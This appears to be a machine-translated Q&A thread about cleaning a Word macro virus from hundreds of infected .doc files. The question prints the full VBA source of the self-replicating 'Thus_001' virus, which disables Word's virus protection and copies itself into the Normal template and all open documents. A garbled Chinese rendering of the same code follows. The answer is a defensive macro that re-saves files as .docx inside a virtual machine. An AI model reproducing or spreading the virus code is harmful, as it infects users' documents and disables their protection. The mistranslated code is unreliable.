Vba Word宏病毒
我想帮助一个有word宏病毒的朋友 几乎他所有的.doc文件都被感染了,我想删除恶意宏而不删除word文件 由于我的朋友从不使用宏,我实际上可以删除他系统上的所有宏 我将如何实现这项任务的自动化 我面临的一个问题是,在打开受感染的文档文件时,我没有删除恶意宏的权限。下面是宏病毒的代码:Vba Word宏病毒,vba,ms-word,Vba,Ms Word,我想帮助一个有word宏病毒的朋友 几乎他所有的.doc文件都被感染了,我想删除恶意宏而不删除word文件 由于我的朋友从不使用宏,我实际上可以删除他系统上的所有宏 我将如何实现这项任务的自动化 我面临的一个问题是,在打开受感染的文档文件时,我没有删除恶意宏的权限。下面是宏病毒的代码: Private Sub Document_Open() 'Thus_001' On Error Resume Next Application.Options.VirusProtection = False If
Private Sub Document_Open()
'Thus_001'
On Error Resume Next
Application.Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
.CodeModule.CountOfLines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
.Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.DeleteLines 1, Application.Documents.Item(k) _
.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
.VBComponents.Item(1).CodeModule.CountOfLines)
End If
Next k
frm_Msg.Show
End Sub
Private Sub Document_Close()
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Save()
Document_Open
End Sub
私有子文档\u Open()
‘因此_001’
出错时继续下一步
Application.Options.VirusProtection=False
如果NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2,1)为“THES_001”,则
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule_
.DeleteLines 1,NormalTemplate.VBProject.VBComponents.Item(1)_
.CodeModule.CountOfLines
如果结束
如果NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines=0,则
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule_
.InsertLines 1,ActiveDocument.VBProject.VBComponents.Item(1)_
.CodeModule.Lines(1,ActiveDocument.VBProject.VBComponents_
.项目(1).代码模块.行数)
如果结束
如果NormalTemplate.Save=False,则NormalTemplate.Save
对于k=1到Application.Documents.Count
如果Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2,1)中的“throus_001”,那么
应用程序。文档。项目(k)。VBProject。VBComponents。项目(1)_
.CodeModule.DeleteLines 1,应用程序文件项(k)_
.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
如果结束
如果Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.countofline=0,则
应用程序。文档。项目(k)。VBProject。VBComponents。项目(1)_
.CodeModule.InsertLines 1,NormalTemplate.VBProject.VBComponents_
.Item(1).CodeModule.Lines(1,NormalTemplate.VBProject_
.VBComponents.Item(1.CodeModule.Countofline)
如果结束
下一个k
frm_Msg.Show
端接头
私有子文档_Close()
文件打开
端接头
私有子文件_New()
文件打开
端接头
私有子文档_Save()
文件打开
端接头
这是在运行10.6.8和word 2004的mac上
谢谢
Alex最快的方法是使用更现代的Word版本。我会做以下的事情。创建一个虚拟机或获取一个可回滚到的现有虚拟机的快照。将所有受感染的Word文件放入目录,然后从Word文档运行此宏:
'Add a reference to Microsoft Scripting Runtime.
Public Sub ScrubMacros()
Application.DisplayAlerts = wdAlertsNone
With New Scripting.FileSystemObject
Dim targets As New Collection
Dim current As File
For Each current In .GetFolder("C:\Test").Files
If .GetExtensionName(current.Path) = "doc" Then
targets.Add current
End If
Next
Dim infected As Variant
For Each infected In targets
Dim doc As Document
Set doc = Documents.Open(infected.Path)
doc.SaveAs2 doc.FullName & "x", wdFormatXMLDocument
doc.Close wdDoNotSaveChanges
Next
End With
Application.DisplayAlerts = wdAlertsAll
End Sub
收集所有生成的.docx文件并将其从VM中移出,然后将其回滚到快照或将其删除。如果您需要保持与Word 2004的兼容性,您可以执行几乎相同的操作将其转换回该文件格式-只需调整文件扩展名并另存为格式。是否尝试使用“application.enableevents=false”打开然后另存为docx?很抱歉,你必须更具体地说,有347个文件,所以我选择自动解决方案…已经过去十年了,所以我真的不记得了,但是,这不是Office的第一个版本,您可以在其中禁用对VB对象模型的编程访问吗?此病毒由Avast anti-virus检测为MW97:因此,AIt似乎我的想法在VBA excel中有效,但在VBA word中无效。。。对不起,谢谢,我猜我可以把C:\Test改成*或“我的硬盘”,这样就可以扫描我系统中的所有文档文件了?@AlexandreBabeanu-不完全是这样。这不会“扫描”任何东西。“C:\Test”只是包含所有文件的文件夹的占位符。如果您需要扫描整个文件系统以找到它们,那么有没有人可以在applescript中找到替代方案?